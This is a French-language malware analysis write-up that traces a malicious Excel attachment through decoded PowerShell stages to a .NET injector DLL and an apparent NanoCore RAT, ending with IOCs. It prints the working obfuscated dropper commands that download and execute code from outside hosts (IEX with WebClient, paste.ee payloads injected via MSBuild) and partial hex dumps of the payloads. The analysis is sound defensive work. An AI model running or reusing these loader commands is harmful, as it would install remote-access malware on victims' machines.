# Analyse d'un fichier Excel Malveillant ## Analyse du fichier recuperé par mail ``` 1 file, 27258 bytes (27 KiB) root@kali   ~/Desktop/SANDBOX  ls Documentation.7z Documentation.xls ``` Identification de la charge active ``` root@kali   ~/Desktop/SANDBOX  file Documentation.xls Documentation.xls: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Windows-Benutzer, Last Saved By: Windows User, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Oct 22 08:10:34 2019, Last Saved Time/Date: Thu May 7 06:40:53 2020, Security: 0 root@kali   ~/Desktop/SANDBOX  unzip Documentation.xls Archive: Documentation.xls warning [Documentation.xls]: 81968 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: [Content_Types].xml inflating: _rels/.rels inflating: theme/theme/themeManager.xml inflating: theme/theme/theme1.xml inflating: theme/theme/_rels/themeManager.xml.rels root@kali   ~/Desktop/SANDBOX  tree . ├── [Content_Types].xml ├── Documentation.7z ├── Documentation.xls ├── _rels └── theme └── theme ├── _rels │   └── themeManager.xml.rels ├── theme1.xml └── themeManager.xml 4 directories, 6 files ``` Recherche de strings intéréssante dans le fichier excel ``` root@kali   ~/Desktop/SANDBOX  strings Documentation.xls [...] _HQ@ ]}!E _IQ@ l/2d _EQ@ powershell -Command g IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('http://skidware-malwrhunterteams.com/scanme.txt') [Content_Types].xml _rels/.rels theme/theme/themeManager.xml sQ}# theme/theme/theme1.xml #zf$ 8{a)i Xp90 TC^]r [...] ``` On observe une commande powershell : ``` powershell -Command g IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('http://skidware-malwrhunterteams.com/scanme.txt') ``` Allons récupérer ce fichier ``` root@kali   ~/Desktop/SANDBOX  curl http://skidware-malwrhunterteams.com/scanme.txt PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e JABxAHAAVABhAEIATwBtAG4AbwBUAFQATQB5AG0AIAA9ACAAJwBqAFIAZgB4AGoAUABPAHYAUwBKAHkASQBuAEgAZABYACcAOwANAAoAJABsAHcAQgBIAGMAYgBNAG4ASwBaAEwAVwBXAFEAbgAgAD0AIAAnAGQARAAnADsADQAKAEYAdQBuAGMAdABpAG8AbgAgAGIAZwBDAEsASQBYAFUARQBYAHMAegBwAGMAegBaAHkAWQBGAEoAdwBmAGUASgBkAE8AeABDAHoAYwBDAFoAcgByAEkAagBwAEIAcgBuAEMAewAgAHAAYQByAGEAbQAoACQAQQBNAGoAegBiAHQAQQBRAEMARwB6AGcASwB3AEMAYQAgACwAIAAkAGsASwBIAHEAIAAsACAAJABLAFoAcQBEAFoAdwBzAEsASABLAEUATABXAEUAQwB3AGEAIAAsACAAJABjAEwASgBnAEsAcwBBAFoAVABxAGwAUQBTACkADQAKACQAWABuAFEAaABWAFEAQgBBAFUAUgBmAEcAVwBRAHgAWABZAHcATABWAFYAYgBVAFMASQB4AFQAUQBqAHcAZwBTAEcAQwBIAHIAcwB3ACAAPQAgACcAZwBCAHkASABsAHQAawBWAHIAbQBTAGMAdgBjAGgAWQB2AFMAeQBaAFgAdwBsAFEAWABsAE4AQQBUAEoARgBlAGMARABlAFQAVwBVACcAOwANAAoAJABZAFgAYwBiAGQAUQBVAGwAcABZAGQATABZAHUAVwBWAGoAUQBpAGoAegBnAGsAQgBpAGcAbwBBAHMAeAAgAD0AIAAnAEMAYgBpAFoAQgB2AFYASABBAEQAegBYAGIAJwA7AA0ACgAkAHgAZwBqAEYAaAB1AEMAbgBrAGoAcwBuAGIAdAB3AGIAVABzAHIASwBiAGsAcABWAFYAWgBPAEoAaQBnAEEASgBJAEwAbAAgAD0AIAAnAEYAdQBLAEQATABPAHIAeQBoAE4AVQBiAEsAWQBqAEgAZgBRAE8ATQBxAE4AawBJAGYAdABGAEQAagBpAGUAUABIAHgAVwBaAGgAbwB5AE4AcwByAG8AJwA7AA0ACgAkAEYAbgB5AEoAdwBzAGUAcgAgAD0AIAAnAFkASgBzAEsAQwBYAFMASQBuAFAAeQBqAEUAVQBOAEIASwBaAHEAUwBCAFQAegBZAGMAQwBzAHUAdgBIAHEARQBtAFQAaQBuAGQATwBmAFEAZwAnADsADQAKACQARgBiAHEAWQBBACAAPQAgACcAbABIAGwAVABuAFoAdgBGAEoAVABoAHoAZgBYAE0AZgBZACcAOwANAAoAfQANAAoAJAB3AGwAbABaAFkAdwB0AFoAbAB3AE8AWABpAEUAQwBaAEoAbwBXAFgAUQBNAFgAZABlAEsAZwBmAGwASgBzAFoARAB2AGIAUABoAE0AagAgAD0AIAAnAFoATgBvAHoAcQBsAGwAZAB4AEYATwBZAEoAQgBkAGoATwBJAHUATgBQAE8AbwBjAEUAbwBVAG0AYwBtAHMAeABFAGcAeAAnADsADQAKAFcAaABpAGwAZQAgACgAJABZAFgAbQB0ACAALQBuAGUAIAAxADMAKQAgAHsADQAKACQARABoAGcAdgBUAFAAQwBSAHMAQgBaAFIAVwBaAEwAWgBNAHUAQgBRAHkAQgAgAD0AIAAnAE4AUgBVAGMARQBhAEwAcQBWAEIAJwA7AA0ACgAkAFkAWABtAHQAPQAgACQAWQBYAG0AdAAgACsAIAAxADsAJABNAGcASABnAGsAWgBTAFUAawBsAFQAZgBoAEgAbABkAE0AZABrAGMAYQBDAFcAUwBlAHoAbgB4AHIAaABLAEQAUABoACAAPQAgACcAZQBSAGYASwBjAHkAZABRAFoAdQBsAG0AVgAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAHgAegBOAGsAWgBPAEsASwBwAEMAbABsAFUAZABEAGEAUAAgAD0AIAAnAEEAdABHAE0AZwBTAEkAZQB3AGwAeABZAHMATQAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAGYAdQBoAHgAVABxAFMARABVAGMAYwBZAHEAZABBAE4AIAA9ACAAJwBlAFYAbQBjAE0AawBTAHUAYwB1AFMAWQBOAFEASgBaAFUAcABqAFYAZAB3AFoAaABwAGwAagBEAHUAUgBBAHcAWAB5AHUAWABhAG8AUwBKAFAARAAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAHYAQQBmAEgATQBUAHkAVwBuAFEAcwBWAGkAdgBFAG4AYQBBAFAAegBLAHQAVgBCAE8AVgBtAHoAZgBXAGEARgBhAEYAZABoACAAPQAgACcAZQBYAGsAdgB2AE4AZwBmAGQATAAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAFcAQgBzAEkAQQBEAGcAQgBlAGQAdABxAGcAegBxAFEAcABtAHUAYwBSAFgAYwB3ACAAPQAgACcAZQBFAFAAZwBwAFcAawBLAEsAYwBkAGUAUwBGAFgAWgBjAEMAZwBrAGgARAB2AEUAdwAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAHMAaQBpAEoAegBaAHYAZQBWAHkAUQBWAHAASABJAGcAVgBXAE0AbABYAGcAWABEAHAAVQB3AEwAdwBhAEkASwBrAHoAZABCACAAPQAgACcAQQBkAEUAagBuAGsAWQBJAEgATgBZAGIAQQBoAFkAcwBLAFMATABMAGYAVQBlACcAOwANAAoAJABZAFgAbQB0AD0AIAAkAFkAWABtAHQAIAArACAAMQA7ACQAagBpAHUAcQBGAGsAcABlAEgARgBVAHQASABDAGsAdwB6AHYAaQBIAFgAawB2AHMAagAgAD0AIAAnAFoAaABSAHEAdwBnAHoAYgB6AEUAcABoAEMAVwBYAHUAVQAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAE4AZgBrAEgAaQBQAEwAawBsAFgARgB6AG4AQgBHAG4ASwBJAE0AUQBKAG4AdABnAEQAZgBIAFIAcwBNAGoAYwBQAHoAZgBEAGkAUwB5AEMAIAA9ACAAJwBMAHYAYwBWAHoAUQBvAGEAUABMAFAAaABFAG0AWgBtAEQARQBDAEkAdQByAFkAbgBkAGsAJwA7AA0ACgAkAFkAWABtAHQAPQAgACQAWQBYAG0AdAAgACsAIAAxADsAJABWAEMARQBzAEoASwBtAHgAcwBRAEsARABQAFQAcQBjAEIAVQB1AEwATQBHAFIAZQBOAHcAdQBrAFQAVwBwAHMAUABjACAAPQAgACcAWQBLAFMARgBYAFIAcABnAFYAdABBAG4AcABEAE8AWAAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAGkAWgBjAFAAbABhAGUATgBQAEIAZABWAGIAUgBvAG0AQQAgAD0AIAAnAFMAaQBPAFgAdABXAFoAdwBsAE4ASgBGAGgARgB6AFYASwAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAHoARABtAGsAbgBzAEgAUABNAEwAdABiAEwAQQBvAGsAdwBwAEUASwBnAEYAcABwAG8AUgBFAEsAVQBZAFcARwBIAHkAbQAgAD0AIAAnAGcAaQB1AFcAUABkAEsATwBDAEoAQgBJAFEAdwBJAEoAUQB6AEoAdQBOAHgAdgBXAG4AeAB2AG8AcABuAFUATgBOAHIARQBPAHUAaQB2AEMAdgAnADsADQAKACQAWQBYAG0AdAA9ACAAJABZAFgAbQB0ACAAKwAgADEAOwAkAG0AZgBRAHYAdABZAFAATQBwAEgAbwBzAGoAagBuAFkAaQBTAGkAVgBZAFAAcAAgAD0AIAAnAHYAWgBzAHUAUABoAEUASAB5AG0ASwBRAEcAcwBEAFgAWgBkAHgATgBZAFUASABWAGIAVwBBAGQAVQBaAEMAWABxAGIAJwA7AA0ACgAkAFkAWABtAHQAPQAgACQAWQBYAG0AdAAgACsAIAAxADsAfQANAAoAJABVAGYAIAA9ACAAJwB4AEgAQwBoAHQAdwBZAFcAUwBwAFAATAB3AHYAUgBiAFAAYQAnADsADQAKACQAcgBlAGcAIAA9ACAAKAAnAHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACcALQBmACcAZABTAHQAJwAsACcAcgBpAG4AJwAsABwgYABEAGAAbwBgAHcAbgBgAGwAYABvAGEAHSAsACcAZwAnACkAOwBbAHYAbwBpAGQAXQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjACcAKQA7ACQAZgBqAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJAByAGUAZwAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwB6AHYAOABmADgAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAQABAACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACEAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJAByAGUAZwAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnAHMAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAEEAMABFAGMAZAAnACkALgByAGUAcABsAGEAYwBlACgAJwAkACQAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBrAC4ASABhAGMAawBpAHQAdQBwAF0AOgA6AGUAeABlACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAZgApAA== | &('I'+'EX')# ``` Nous avons donc un fichier qui contient une commande powershell qui exécute un script qui est "Obfusquer" en base64. Cela permet de passer tout un script en une ligne. Allons regarder ce que fait ce script A l'aide de la commande `echo "script_encoded" | base64 -d` On obtient le premier script exécuté en mémoire. ``` $qpTaBOmnoTTMym = 'jRfxjPOvSJyInHdX'; $lwBHcbMnKZLWWQn = 'dD'; Function bgCKIXUEXszpczZyYFJwfeJdOxCzcCZrrIjpBrnC{ param($AMjzbtAQCGzgKwCa , $kKHq , $KZqDZwsKHKELWECwa , $cLJgKsAZTqlQS) $XnQhVQBAURfGWQxXYwLVVbUSIxTQjwgSGCHrsw = 'gByHltkVrmScvchYvSyZXwlQXlNATJFecDeTWU'; $YXcbdQUlpYdLYuWVjQijzgkBigoAsx = 'CbiZBvVHADzXb'; $xgjFhuCnkjsnbtwbTsrKbkpVVZOJigAJILl = 'FuKDLOryhNUbKYjHfQOMqNkIftFDjiePHxWZhoyNsro'; $FnyJwser = 'YJsKCXSInPyjEUNBKZqSBTzYcCsuvHqEmTindOfQg'; $FbqYA = 'lHlTnZvFJThzfXMfY'; } $wllZYwtZlwOXiECZJoWXQMXdeKgflJsZDvbPhMj = 'ZNozqlldxFOYJBdjOIuNPOocEoUmcmsxEgx'; While ($YXmt -ne 13) { $DhgvTPCRsBZRWZLZMuBQyB = 'NRUcEaLqVB'; $YXmt= $YXmt + 1;$MgHgkZSUklTfhHldMdkcaCWSeznxrhKDPh = 'eRfKcydQZulmV'; $YXmt= $YXmt + 1;$xzNkZOKKpCllUdDaP = 'AtGMgSIewlxYsM'; $YXmt= $YXmt + 1;$fuhxTqSDUccYqdAN = 'eVmcMkSucuSYNQJZUpjVdwZhpljDuRAwXyuXaoSJPD'; $YXmt= $YXmt + 1;$vAfHMTyWnQsVivEnaAPzKtVBOVmzfWaFaFdh = 'eXkvvNgfdL'; $YXmt= $YXmt + 1;$WBsIADgBedtqgzqQpmucRXcw = 'eEPgpWkKKcdeSFXZcCgkhDvEw'; $YXmt= $YXmt + 1;$siiJzZveVyQVpHIgVWMlXgXDpUwLwaIKkzdB = 'AdEjnkYIHNYbAhYsKSLLfUe'; $YXmt= $YXmt + 1;$jiuqFkpeHFUtHCkwzviHXkvsj = 'ZhRqwgzbzEphCWXuU'; $YXmt= $YXmt + 1;$NfkHiPLklXFznBGnKIMQJntgDfHRsMjcPzfDiSyC = 'LvcVzQoaPLPhEmZmDECIurYndk'; $YXmt= $YXmt + 1;$VCEsJKmxsQKDPTqcBUuLMGReNwukTWpsPc = 'YKSFXRpgVtAnpDOX'; $YXmt= $YXmt + 1;$iZcPlaeNPBdVbRomA = 'SiOXtWZwlNJFhFzVK'; $YXmt= $YXmt + 1;$zDmknsHPMLtbLAokwpEKgFppoREKUYWGHym = 'giuWPdKOCJBIQwIJQzJuNxvWnxvopnUNNrEOuivCv'; $YXmt= $YXmt + 1;$mfQvtYPMpHosjjnYiSiVYPp = 'vZsuPhEHymKQGsDXZdxNYUHVbWAdUZCXqb'; $YXmt= $YXmt + 1;} $Uf = 'xHChtwYWSpPLwvRbPa'; $reg = ('{2}{0}{1}{3}'-f'dSt','rin', `D`o`wn`l`oa ,'g');[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object `N`e`T`.`W`e`B`C`l`i`e`N`T ),$reg,[Microsoft.VisualBasic.CallType]::Method,'htt'+[Char]80+'' + [Char]58 + '//paste.ee/r/zv8f8').Replace("@@", "44").Replace("!", "78")|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object `N`e`T`.`W`e`B`C`l`i`e`N`T ),$reg,[Microsoft.VisualBasic.CallType]::Method,'htt'+[Char]80+'s' + [Char]58 + '//paste.ee/r/A0Ecd').replace('$$','0x')|IEX;[k.Hackitup]::exe('MSBuild.exe',$f)# ``` On remarque que toutes les variables sont obfusquées. Par contre on semble reconnaitre un "DownloadString" qui permet de télécharger des fichiers à la dernière ligne `" = ('{2}{0}{1}{3}'-f'dSt','rin', `D`o`wn`l`oa ,'g');"` un petit coup de propre sur les dernieres lignes permet de voir que 2 fichier sont téléchargé ``` $reg = ('{2}{0}{1}{3}'-f'dSt','rin',“`D`o`wn`l`oa”,'g'); [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object “`N`e`T`.`W`e`B`C`l`i`e`N`T”),$reg,[Microsoft.VisualBasic.CallType]::Method,'htt'+[Char]80+'' + [Char]58 + '//paste.ee/r/zv8f8').Replace("@@", "44").Replace("!", "78")|IEX; [Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object “`N`e`T`.`W`e`B`C`l`i`e`N`T”),$reg,[Microsoft.VisualBasic.CallType]::Method,'htt'+[Char]80+'s' + [Char]58 + '//paste.ee/r/A0Ecd').replace('$$','0x')|IEX; [k.Hackitup]::exe('MSBuild.exe',$f) ``` On a donc notre variable *$reg* qui permet d'obtenir notre "DownloadSring", puis 2 liens à qui sont téléchargés à qui on execute des "replace" pour recréer les binaires et les injecter en mémoire. Allons recuperer les fichiers pour en savoir un peu plus. ``` #https://paste.ee/r/zv8f8 #https://paste.ee/r/A0Ecd [CmdletBinding()] param () $webClient = New-Object System.Net.WebClient $Bin1=$webClient.DownloadString('https://paste.ee/r/zv8f8').Replace("@@", "44").Replace("!", "78") $Bin1 | Out-File C:\Users\sandbox\Desktop\Bin1.txt $Bin2=$webClient.DownloadString('https://paste.ee/r/A0Ecd').replace('$$','0x') $Bin2 | Out-File C:\Users\sandbox\Desktop\Bin2.txt ``` On crée donc un object WebClient pour télécharger les fichiers et appliquer les mêmes replace afin d'obtenir le même résultats que le malware. Nous avons donc nos fichiers Bin1.txt et Bin2.txt **Bin1.txt** ``` $FQJbaBDVMOgUszocYRSUjSovThpVwxOjpfllwMHpWelEEpzRUPiyEfxBsdZtHXCYMwvepBxUDIylIYXcXUfsjELXXjZ=@(91,66,121,116,101,91,93,93,36,115,99,54,52,61,105,101,120,40,39,78,52,68,44,78,53,65,44,78,57,48,44,78,48,48,44,78,48,51,44,78,48,48,44,78,48,48,44,78,48,48,44,78,48,52,44,78,48,48,44,78,48,48,44,78,48,48,44,78,70,70,44,78,70,70,44,7 [...] $uOvUiYRWJdxOgWfClldKcbluYRavsEiVtPQilneweaORjUeKhGPLVifOnfwRjullpbTTqiLJigPeGUXNQUpEAvqBxSPXb=[System.Text.Encoding]::ASCII.GetString($FQJbaBDVMOgUszocYRSUjSovThpVwxOjpfllwMHpWelEEpzRUPiyEfxBsdZtHXCYMwvepBxUDIylIYXcXUfsjELXXjZ)|IEX ``` Le premier fichier n'est donc toujours pas un binaire, il s'agit encore d'un code obfusqué que la fonction `[System.Text.Encoding]::ASCII.GetString(` va convertir puis stocké dans `$uOvUiYRWJdxOgWfClldKcbluYRavsEiVtPQilneweaORjUeKhGPLVifOnfwRjullpbTTqiLJigPeGUXNQUpEAvqBxSPXb` et être executé via `|IEX` Comme effectué précédemment on modifie le script pour extraire le binaire à l'aide des commandes ci-dessous. ``` $Binaire1=$Var_Decode=[System.Text.Encoding]::ASCII.GetString($Tab) $Binaire1 | Out-File C:\Users\sandbox\Desktop\p3.txt ``` `$Tab` prend comme valeur le tableau d'octet et var_decode le tableau d'octet convertit en une chaine. ``` [Byte[]]$sc64=iex('N4D,N5A,N90,N00,N03,N00,N00,N00,N04,N00,N00,N00,NFF,NFF,N00,N00,NB8,N00,N00,N00,N00,N00,N00,N00,N40,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N00,N80,N00,N00,N00,N0E,N1F,NBA,N0E,N00,NB4,N09,NCD,N21,NB8,N01,N4C,NCD,N21,N54,N68,N69,N73,N20,N70,N72,N6F,N67,N72,N61,N6D,N20,N63,N61,N6E,N6E,N [...] ,N00,N00'.replace('N','0x'));$a = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,'Load',[Microsoft.VisualBasic.Ca lType]::Method,$sc64) ``` Nous n'avons toujours pas notre binaire cependant nous avons un deuxième tableau ou les valeurs sont constitué de `N4D,N5A,N90` . Cependant nous avons un `.replace('N','0x')` qui va nous contituer notre code hexa. Si nous remplaçons directement sur les premiers octets le N par Ox on obtient `0x4D, 0x5A, 0x90,` . Ce qui correspond au magic byte d'un éxécutable MS-DOS (cf plus bas). Il suffit donc d'effectuer le replace sur tout le tableau et de convertir notre dump HEXA en binaire exécutable. ## Dump du deuxieme binaire Contrairement au premier, notre deuxième fichier correspondais bien à un binaire, mais stocké en hexa ``` 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x06, 0x00, 0xA0, 0xC8, 0x6B, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x0E, 0x03, 0x0B, 0x01, 0x02, 0x19, 0x00, 0xF2, 0x01, 0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x2D, 0x24, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x02, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, [...] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ``` Pour confirmer qu'il s'agit bien de notre exécutable il suffit de regarder les magic number en début fichier et comparer. Ici nos magic number sont `0x4D, 0x5A, 0x90, 0x00` ce qui en recherant sur internet correspond à : ![](https://i.imgur.com/JkStPXd.png) Il s'agit donc bien d'une des charges utiles. Ci-dessous nos deux binaires reconstitués : Conversion des dump hexa des fichiers malveillant en binaire à l'aide de xxd ``` root@kali   ~/Desktop/SANDBOX  file BINARY1.BIN BINARY1.BIN: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows root@kali   ~/Desktop/SANDBOX  file BINARY2.BIN BINARY2.BIN: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows ``` Nous avons donc bien une DLL et un exécutable. ## Analyse Satic du malware Réalisation d'une petite analyse static des fichiers malveillant afin de pouvoir trouver une correspondance sur internet. Décompilation de la DLL avec IlSPY on retrouve notre `Hackitup` lancé dans notre premier script avec la commande suivante `[k.Hackitup]::exe('MSBuild.exe',$f)` ![](https://i.imgur.com/JdeedZn.png) ![](https://i.imgur.com/oWybagA.png) ![](https://i.imgur.com/du3jQZF.png) Ouverture du malware avec Ghidra afin d'en savoir un peut plus sur les fonctions ![](https://i.imgur.com/NAWB6Ss.png) Le malware comporte des fonctions comme "Windows Enum", surrement un rootkit intégrant des fonctions de découverte / Bypass / Privesc / Persistance. ![](https://i.imgur.com/edVsu8e.png) ## Analyse Dynamic du malware Pour cela j'ai envoyé le malware à **HybridPayload Analysis** et **joesandbox** ### DLL Malware (Hackitup) Analyse de la DLL ![](https://i.imgur.com/5qRnLGf.png) ![](https://i.imgur.com/fKSRBX0.png) ### Malware.exe ![](https://i.imgur.com/Nf7Fphe.png) Considéré comme un RAT, plus loin on trouve donc l'IP de connexion ainsi que le port utilisé (Surrement pour le C2C) ![](https://i.imgur.com/TuOQjln.png) Graphique de comportement : ![](https://i.imgur.com/jooEewy.png) Classification : ![](https://i.imgur.com/vxvePjc.png) Network Map: ![](https://i.imgur.com/u7loMiS.png) # Découverte du nom du malware Suite à l'analyse static, on peut désormais faire recherche du malware étudié sur internet A l'aide des google dorks je cherche des informations concernant le code du malware afin de trouver des informations déjà découverte `intext:Hackitup && intext:popo` Ce document semble correspondre à notre malware https://blog.morphisec.com/nanocore-under-the-microscope Pour résumer ce que nous apprends l'étude de ce blog (bien plus complète que ce récit) : - Utilisation de Process Hollwing chargement d'un process légitime puor y heberger des contenues malicieux - La DLL contient une class POPO qui fournit des script Autoit - Les Scripts permettent de faire de l'élévation de privilgege via UAC Bypass - Injection de shellcode en mémoire - Persistence via raccouri start-up et regedit IP à blacklister : 185.140.53.48 Port de communication du C2C : 6606 Pays : Sweden Analyse de l'antivirus : ![](https://i.imgur.com/BY8UtRz.png) Partie manquante (draw.io): ![](https://i.imgur.com/rLkhlHT.png) Liens des reports : https://www.hybrid-analysis.com/sample/6e4c4d908bcfc4c8f5a2038e85909960b50e0d239e535d2168aafe504564525a?environmentId=120 https://www.joesandbox.com/analysis/228230/0/executive https://www.joesandbox.com/analysis/228228/0/executive